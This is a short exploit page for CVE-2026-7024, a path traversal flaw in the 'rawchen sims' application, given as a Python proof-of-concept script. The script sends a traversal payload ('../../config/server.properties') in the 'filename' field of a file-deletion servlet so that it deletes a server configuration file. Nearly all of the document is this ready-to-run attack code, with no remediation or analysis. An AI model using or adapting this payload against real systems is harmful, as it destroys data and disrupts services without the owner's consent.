CVE-2026-7024 rawchen sims路径遍历漏洞

import requests def exploit(target_url): # Exploit PoC for CVE-2026-7024 # The vulnerability allows path traversal in the 'filename' parameter # of the DeleteFileServlet endpoint. payload = { # Attempt to delete a configuration file using traversal sequences "filename": "../../config/server.properties" } try: print(f"[+] Sending exploit request to {target_url}...") response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check server for file deletion.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "http://localhost:8080/sims/deleteFile" exploit(target)